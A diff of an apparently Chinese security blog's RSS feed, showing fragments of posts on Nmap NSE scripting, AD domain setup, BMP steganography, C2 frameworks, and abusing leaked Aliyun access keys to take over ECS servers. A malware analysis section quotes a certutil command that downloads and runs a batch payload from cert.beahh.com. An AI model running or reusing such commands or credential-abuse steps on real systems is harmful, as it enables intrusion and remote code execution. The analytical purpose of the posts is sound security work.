0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 -</span></code></prNmap扩展开发(二)https://payloads.online/archivers/2019-04-24/2/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/2/<h2 id="0x01-nse引擎执行流程">0x01 NSE引擎执行流程</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#66d9ef">local</span> stdnse <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;stdnse&#34;</span> +</span></span><span style="display:flex;"><span>prerule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>hostrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(host) +</span></span><span style="display:flex;"><span> mac <span style="color:#f92672">=</span> host.mac_addr +</span></span><span style="display:flex;"><span> print(stdnse.format_mac(mac)) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>portrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(host,port) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>action<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span>postrule<span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>() +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过host.mac_addr获取的mac地址是二进制编码的,我们要转换成字符串,需要引入stdnse这个扩展包,stdnse包中有一个format_mac函数,能够将host.mac_addr转换成字符串。</p>Nmap扩展开发(二)https://payloads.online/archivers/2019-04-24/2/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/2/<h2 id="0x01-nse引擎执行流程">0x01 NSE引擎执行流程</h2> <p>Nmap的扩展脚本语言都基于lua来开发的,执行也是调用了内部封装的lua解释器。</p> <p>正常情况下,调用任何一个扩展脚本会首先执行<code>nse_main.lua</code>,该脚本主要做了以下几件事:</p> <ul> @@ -2090,7 +4077,18 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 -</span></code></prNmap扩展开发(四)https://payloads.online/archivers/2019-04-24/4/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/4/<h2 id="0x01-http包的使用">0x01 HTTP包的使用</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#75715e">-- Table of different supported rules.</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">local</span> NSE_SCRIPT_RULES <span style="color:#f92672">=</span> { +</span></span><span style="display:flex;"><span> prerule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;prerule&#34;</span>, +</span></span><span style="display:flex;"><span> hostrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hostrule&#34;</span>, +</span></span><span style="display:flex;"><span> portrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;portrule&#34;</span>, +</span></span><span style="display:flex;"><span> postrule <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;postrule&#34;</span>, +</span></span><span style="display:flex;"><span>}; +</span></span></code></pre></td></tr></table> +</div> +</div><p>每一个规则代表了函数,由函数的返回值决定执行流程</p>Nmap扩展开发(四)https://payloads.online/archivers/2019-04-24/4/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/4/<h2 id="0x01-http包的使用">0x01 HTTP包的使用</h2> <p>一般情况下,我们扫描一些Web服务的同时需要进行渗透测试、安全评估、漏洞检测等操作,但是官方并未提供符合我们需求的脚本,这时候就要自己写脚本了。Nmap已经内置了HTTP包,不需要再进行下载和配置。</p> <h2 id="0x02-基础概念铺垫">0x02 基础概念铺垫</h2> <p>首先,先介绍两个表结构,为了方便我们后续的数据操作,让读者先熟悉两个东西:</p> @@ -2124,7 +4122,38 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 -</span></code></pr最快的方式搭建域环境https://payloads.online/archivers/2019-04-13/1/Sat, 13 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-13/1/<h2 id="0x00-自动化搭建">0x00 自动化搭建</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>| Response: +</span></span><span style="display:flex;"><span>| status: 200 +</span></span><span style="display:flex;"><span>| header: +</span></span><span style="display:flex;"><span>| content-length: 0 +</span></span><span style="display:flex;"><span>| allow: POST,OPTIONS,HEAD,GET +</span></span><span style="display:flex;"><span>| connection: close +</span></span><span style="display:flex;"><span>| content-type: text/html +</span></span><span style="display:flex;"><span>| server: Apache/2.4.29 (Debian) +</span></span><span style="display:flex;"><span>| date: Fri, 06 Jul 2018 07:02:13 GMT +</span></span><span style="display:flex;"><span>| ssl: false +</span></span><span style="display:flex;"><span>| body: +</span></span><span style="display:flex;"><span>| cookies: +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>| status-line: HTTP/1.1 200 OK\x0D +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>| rawheader: +</span></span><span style="display:flex;"><span>| Date: Fri, 06 Jul 2018 07:02:13 GMT +</span></span><span style="display:flex;"><span>| Server: Apache/2.4.29 (Debian) +</span></span><span style="display:flex;"><span>| Allow: POST,OPTIONS,HEAD,GET +</span></span><span style="display:flex;"><span>| Content-Length: 0 +</span></span><span style="display:flex;"><span>| Connection: close +</span></span><span style="display:flex;"><span>| Content-Type: text/html +</span></span><span style="display:flex;"><span>| +</span></span><span style="display:flex;"><span>|_ version: 1.1 +</span></span></code></pre></td></tr></table> +</div> +</div><ul> +<li>Options表</li> +</ul> +<p>Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向</p>最快的方式搭建域环境https://payloads.online/archivers/2019-04-13/1/Sat, 13 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-13/1/<h2 id="0x00-自动化搭建">0x00 自动化搭建</h2> <p>准备环境:</p> <ul> <li>Windows 2008 R2 X64</li> @@ -2147,7 +4176,40 @@ <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 -</span></code></pr又见四月https://payloads.online/archivers/2019-04-08/1/Mon, 08 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-08/1/<p>恍然间,我只记得好像回家过了一个年,今天又和她见面了,上一次相见,是天气很热的时候,我那时头发有些长热得来上海第二天就把头发剃光,现在回忆起来脑海里浮现着阳光、铁轨、沉重的雷神电脑背包、盖浇饭以及那件黑底白字的短袖。</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Import-Module Addsdeployment +</span></span></code></pre></td></tr></table> +</div> +</div><p>第三步:调用<a href="https://github.com/MicrosoftDocs/windowsserverdocs/blob/master/WindowsServerDocs/identity/ad-ds/deploy/Install-Active-Directory-Domain-Services--Level-100-.md">Install-ADDSForest</a>设置域的信息执行安装</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Install-ADDSForest -CreateDnsDelegation:$false -DomainMode <span style="color:#e6db74">&#34;7&#34;</span> -DomainName <span style="color:#e6db74">&#34;PAYLOADS.ONLINE&#34;</span> -DomainNetbiosName <span style="color:#e6db74">&#34;PAYLOADS&#34;</span> -ForestMode <span style="color:#e6db74">&#34;7&#34;</span> -InstallDns:$true -NoRebootOnCompletion:$false -Force:$true +</span></span></code></pre></td></tr></table> +</div> +</div><p>Install-ADDSForest 的参数解释:</p> +<ul> +<li>CreateDnsDelegation 是否创建引用与域控制器一起安装的新DNS服务器的DNS委派。 仅对 Active Directory“集成 DNS 有效。默认值是根据环境自动计算的。</li> +<li>DomainMode 指定创建新林时第一个域的域功能级别。 +<ul> +<li>Windows Server 2003: 2 or Win2003</li> +<li>Windows Server 2008: 3 or Win2008</li> +<li>Windows Server 2008 R2: 4 or Win2008R2</li> +<li>Windows Server 2012: 5 or Win2012</li> +<li>Windows Server 2012 R2: 6 or Win2012R2</li> +<li>Windows Server 2016: 7 or WinThreshold</li> +</ul> +</li> +<li>DomainName 域名</li> +<li>DomainNetbiosName 域的Netbios名称</li> +<li>ForestMode 与 DomainMode 等同,该选项主要用于尽可能的自动化</li> +<li>InstallDns 是否安装DNS服务</li> +<li>NoRebootOnCompletion 不重启完成安装</li> +</ul> +<p>总结:</p>又见四月https://payloads.online/archivers/2019-04-08/1/Mon, 08 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-08/1/<p>恍然间,我只记得好像回家过了一个年,今天又和她见面了,上一次相见,是天气很热的时候,我那时头发有些长热得来上海第二天就把头发剃光,现在回忆起来脑海里浮现着阳光、铁轨、沉重的雷神电脑背包、盖浇饭以及那件黑底白字的短袖。</p> <p>今天心情略像去年的四月二十六日,我想到时候天气会更炎热,我不喜欢四月,因为好像每个四月都在别离、都在迎接蜕变,其实我骨子里是那种想安逸的人,但道理告诉我,敢拼才会更加精彩、拥抱变化才会成长。</p> <p>每次经历四月的过程都有点小痛苦,这不是矫情,这是一种回味,回味“我的四月”</p> <p>感恩</p>BaseRequestHandler 传参问题https://payloads.online/archivers/2019-04-02/2/Tue, 02 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-02/2/<p>最近在写<a href="https://github.com/Rvn0xsy/Cooolis-ms">Cooolis-ms</a>的时候遇到一个坑,学艺不精靠搜索,最终解决了。</p> @@ -2174,7 +4236,30 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 -</span></code></pr阿里云Access Token问题 - 项目收获记录https://payloads.online/archivers/2019-04-02/1/Tue, 02 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-02/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> socketserver +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyTCPHandler</span>(socketserver<span style="color:#f92672">.</span>BaseRequestHandler): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">handle</span>(self): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span>: +</span></span><span style="display:flex;"><span> self<span style="color:#f92672">.</span>data <span style="color:#f92672">=</span> self<span style="color:#f92672">.</span>request<span style="color:#f92672">.</span>recv(<span style="color:#ae81ff">1024</span>)<span style="color:#f92672">.</span>strip() +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{}</span><span style="color:#e6db74"> wrote:&#34;</span><span style="color:#f92672">.</span>format(self<span style="color:#f92672">.</span>client_address[<span style="color:#ae81ff">0</span>])) +</span></span><span style="display:flex;"><span> print(self<span style="color:#f92672">.</span>data) +</span></span><span style="display:flex;"><span> self<span style="color:#f92672">.</span>request<span style="color:#f92672">.</span>send(self<span style="color:#f92672">.</span>data<span style="color:#f92672">.</span>upper()) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">ConnectionResetError</span> <span style="color:#66d9ef">as</span> e: +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#34;err&#34;</span>,e) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>: +</span></span><span style="display:flex;"><span> HOST,PORT <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;localhost&#34;</span>,<span style="color:#ae81ff">9999</span> +</span></span><span style="display:flex;"><span> server <span style="color:#f92672">=</span> socketserver<span style="color:#f92672">.</span>ThreadingTCPServer((HOST,PORT),MyTCPHandler) +</span></span><span style="display:flex;"><span> server<span style="color:#f92672">.</span>serve_forever() +</span></span></code></pre></td></tr></table> +</div> +</div><p>假若我想对<code>MyTCPHandler</code>进行一些修饰,添加一些成员属性,那就需要覆盖<code>__init__</code>函数,很多资料告诉我调用<code>super</code>可以解决,但是<code>BaseRequestHandler</code>是有参数的,这些参数必须由<code>ThreadingTCPServer</code>进行传递。</p>阿里云Access Token问题 - 项目收获记录https://payloads.online/archivers/2019-04-02/1/Tue, 02 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-02/1/<h2 id="0x00-前言">0x00 前言</h2> <p>Q:在获得权限较低的Webshell的情况下,如何继续扩大收获?</p> <p>A:首先,信息搜集,分别包含:当前权限,主机网络环境、系统进程、网络连接状况、散落的凭证等,然后进行战略分析</p> <ol> @@ -2202,7 +4287,27 @@ <p>OSS通过使用AccessKeyId/ AccessKeySecret对称加密的方法来验证某个请求的发送者身份。</p> <p>AccessKeyId用于标示用户,AccessKeySecret是用户用于加密签名字符串和OSS用来验证签名字符串的密钥,其中AccessKeySecret必须保密,只有用户和OSS知道。AccessKey 根据所属账号的类型有所区分。</p> <p><strong>阿里云账户AccessKey:阿里云账号提供的AccessKey拥有所属资源的全部操作权限</strong></p> -<p>RAM账户AccessKey:RAM账户由阿里云账号授权生成,所拥有的AccessKey拥有对特定资源限定的操作权限</p>OWASP - 吉林沙龙https://payloads.online/archivers/2019-03-16/1/Sat, 30 Mar 2019 00:00:00 +0000https://payloads.online/archivers/2019-03-16/1/<p>2019年03月16日,有幸被邀请为嘉宾去吉林省长春市分享自己的议题,这个议题我在过年前就准备好了,从最初的一个想法到落地经历了一个月,这一个月学习到了不少到东西。</p> +<p>RAM账户AccessKey:RAM账户由阿里云账号授权生成,所拥有的AccessKey拥有对特定资源限定的操作权限</p> +<p>STS临时访问凭证:由阿里云账号或RAM账号生成,所拥有的AccessKey在限定时间内拥有对特定资源限定的操作权限。过期权限收回。</p> +<p><a href="https://help.aliyun.com/document_detail/31867.html?spm=a2c4g.11186623.2.7.60c35869TaDn9K#concept-e4s-mhv-tdb">详细介绍</a></p> +<h2 id="0x03-通过access-token接管ecs">0x03 通过Access Token接管ECS</h2> +<p>ECS:云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。</p> +<p>前面介绍到,默认情况下,阿里云用户获得的Access Token是对当前用户所有服务通用的令牌,在没有使用RAM账户的情况下,就可以使用SDK去操作阿里云所有产品。</p> +<p>在此次项目里,我接管了四台ECS,执行任意命令,获得最大权限。</p> +<p>首先,通过读取配置文件,获得了同于上传图片所需要认证的Access Token,如何检验是否可用的呢?</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>Access Key Id : ********* +</span></span><span style="display:flex;"><span>Access Secret : *************************** +</span></span><span style="display:flex;"><span>Region : cn-***** +</span></span></code></pre></td></tr></table> +</div> +</div><p>下面直接调用获取ECS实例的API即可,以往情况下,我会使用Python,安装阿里云的sdk-core库,但是现在能在线调试,大大的节省了本地调试的成本:</p>OWASP - 吉林沙龙https://payloads.online/archivers/2019-03-16/1/Sat, 30 Mar 2019 00:00:00 +0000https://payloads.online/archivers/2019-03-16/1/<p>2019年03月16日,有幸被邀请为嘉宾去吉林省长春市分享自己的议题,这个议题我在过年前就准备好了,从最初的一个想法到落地经历了一个月,这一个月学习到了不少到东西。</p> <p> <img src="https://images.payloads.online/51485c4a-4f5f-11ec-b1df-00d861bf4abb.png" alt="2019-03-30-13-40-05"> @@ -2251,7 +4356,47 @@ </div> </div><h2 id="0x02-c2command-and-control简介">0x02 C2(Command and Control)简介</h2> <p>C2,其含义在安全领域中意思是命令与控制,具体的技术表现为远控木马。 -是一种通常用于持续控制一个或多个目标的技术手段,这个技术手段覆盖了<strong>多种</strong>网络通信(计算机交互、通信)的方式。</p>MemoryModule-实现原理https://payloads.online/archivers/2019-03-14/1/Thu, 14 Mar 2019 00:00:00 +0000https://payloads.online/archivers/2019-03-14/1/<h1 id="url">URL</h1> +是一种通常用于持续控制一个或多个目标的技术手段,这个技术手段覆盖了<strong>多种</strong>网络通信(计算机交互、通信)的方式。</p> +<p>这个“多种”指的是有很多种方式,基于HTTP、SMTP、HTTPS、纯数据报文、&hellip;.</p> +<p> + <img src="https://images.payloads.online/544f0bbe-4f5f-11ec-8dda-00d861bf4abb.png" alt="2019-03-30-13-59-17"> + +</p> +<h2 id="0x03-c2的原理">0x03 C2的原理</h2> +<p>命令与控制的原理就是目标机器主动或被动的与控制端进行交互,不断获取指令执行。</p> +<p>交互:可能不是一个直接的网络连接</p> +<p>命令与控制在行为上一般需要与许多操作系统接口进行交互,例如:网络通信、文件读写、进程管理等。</p> +<h2 id="0x04-后渗透平台--cobalt-strike">0x04 后渗透平台 – Cobalt Strike</h2> +<p> + <img src="https://images.payloads.online/54b23a54-4f5f-11ec-8073-00d861bf4abb.png" alt="2019-03-30-14-01-17"> + +</p> +<p>Cobalt Strike是一个跨平台、多人协作式、红队评估后渗透平台。 +它支持多人通信、权限维持、文件操作、提权、横向渗透……等多种功能,使用者只需要部署好teamserver就可以在任意平台上连接teamserver进行渗透。</p> +<p><a href="https://www.cobaltstrike.com/">https://www.cobaltstrike.com/</a></p> +<h2 id="0x05-后渗透平台--metasploit-framework">0x05 后渗透平台 – Metasploit Framework</h2> +<p> + <img src="https://images.payloads.online/54ecdbb4-4f5f-11ec-8615-00d861bf4abb.png" alt="2019-03-30-14-02-15"> + +</p> +<p>Metasploit Framework是一个跨平台、开源、较为开放式的安全评估平台。 +它支持权限维持、文件操作、提权、横向渗透、载荷生成……等多种功能,使得渗透更加灵活。</p> +<p><a href="https://www.metasploit.com/">https://www.metasploit.com/</a></p> +<h2 id="0x06-后渗透的需求">0x06 后渗透的需求</h2> +<p>通过一些常用的平台、工具总结,我得出一些以下几个基本需求:</p> +<p> + <img src="https://images.payloads.online/55265e0c-4f5f-11ec-8636-00d861bf4abb.png" alt="2019-03-30-14-03-35"> + +</p> +<p>这些需求就必定要形成一个跨平台支持、兼容性最好、拓展性强的框架,而大部分框架的基础模式就是如下所说。</p> +<h3 id="框架基本组成">框架基本组成</h3> +<ul> +<li>PAYLOAD</li> +<li>模块</li> +<li>漏洞</li> +</ul> +<h2 id="0x07-payload进入目标机器内存的方式">0x07 PAYLOAD进入目标机器内存的方式</h2> +<p>在常规的渗透过程里,为了获得一定的权限,基本上绝大部分的动机都是在目标机器上的内存种执行指令,它的表现形式大部分都是一个后门、加载器等。</p>MemoryModule-实现原理https://payloads.online/archivers/2019-03-14/1/Thu, 14 Mar 2019 00:00:00 +0000https://payloads.online/archivers/2019-03-14/1/<h1 id="url">URL</h1> <p><a href="https://github.com/fancycode/MemoryModule/blob/master/doc/readme.rst">https://github.com/fancycode/MemoryModule/blob/master/doc/readme.rst</a></p> <h1 id="overview">Overview</h1> <p>The default windows API functions to load external libraries into a program @@ -2283,7 +4428,36 @@ file gets deleted.</p>驱动人生供应链 <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>cmd.exe /c (cd %temp%&amp;certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat&gt;nul&amp;expand -r v.dat&gt;nul&amp;v.bat&gt;nul&amp;del v.dat v.bat&gt;nul) -</span></span></code></pr</description></item><item><title>BMP位图隐写https://payloads.online/archivers/2019-01-31/1/Thu, 31 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-31/1/<h2 id="0x01-bmp简介">0x01 BMP简介</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p>由于目前<code>cert.beahh.com</code>已经无法访问,所以进行下一个powershell分析环节。</p> +<p>首先,<code>powershell -nop -w hidden -ep bypass -e </code>后接着就是base64编码的powershell代码,并且以Bypass作为当前执行策略。</p> +<p>Windows中的powershell执行策略:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>PS C:\Users\Rvn0xsy&gt; Get-ExecutionPolicy -List +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> Scope ExecutionPolicy +</span></span><span style="display:flex;"><span> ----- --------------- +</span></span><span style="display:flex;"><span>MachinePolicy Undefined +</span></span><span style="display:flex;"><span> UserPolicy Undefined +</span></span><span style="display:flex;"><span> Process Undefined +</span></span><span style="display:flex;"><span> CurrentUser Undefined +</span></span><span style="display:flex;"><span> LocalMachine Bypass +</span></span></code></pre></td></tr></table> +</div> +</div><p>将后面的base64解密后:</p>BMP位图隐写https://payloads.online/archivers/2019-01-31/1/Thu, 31 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-31/1/<h2 id="0x01-bmp简介">0x01 BMP简介</h2> <p>BMP(全称Bitmap)是Windows操作系统中的标准图像文件格式,可以分成两类:设备有向量相关位图(DDB)和设备无向量相关位图(DIB),使用非常广。它采用位映射存储格式,除了图像深度可选以外,不采用其他任何压缩,因此,BMP文件所占用的空间很大。BMP文件的图像深度可选lbit、4bit、8bit及24bit。BMP文件存储数据时,图像的扫描方式是按从左到右、从下到上的顺序。由于BMP文件格式是Windows环境中交换与图有关的数据的一种标准,因此在Windows环境中运行的图形图像软件都支持BMP图像格式。</p> <p>典型的BMP图像文件由四部分组成:</p> <ul> @@ -2315,7 +4489,115 @@ file gets deleted.</p>驱动人生供应链 <p> <img src="https://images.payloads.online/4c568f90-4f5f-11ec-8291-00d861bf4abb.png" alt="2019-01-31-16-16-59"> -</p></description></item><item><title>Visual Studio 调试DLLhttps://payloads.online/archivers/2019-01-26/2/Sat, 26 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-26/2/<p> +</p> +<p><strong>其中36前面的00 00 00 00是保留位,没有意义。</strong></p> +<p>36 00 00 00(0x36)转换成十进制是54。</p> +<p>也就是说,从BMP文件的第一个字节开始,到第54个字节就是像素的开始。</p> +<p> + <img src="https://images.payloads.online/4c8c9144-4f5f-11ec-982e-00d861bf4abb.png" alt="2019-01-31-16-21-16"> + +</p> +<p>三个D8就是一个像素。</p> +<h2 id="0x04-写入内容">0x04 写入内容</h2> +<p>这个过程中,我们可以写入shellcode、PE文件、字符串等。</p> +<p>这里我只是写入了一个“Hello world !!!”:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span 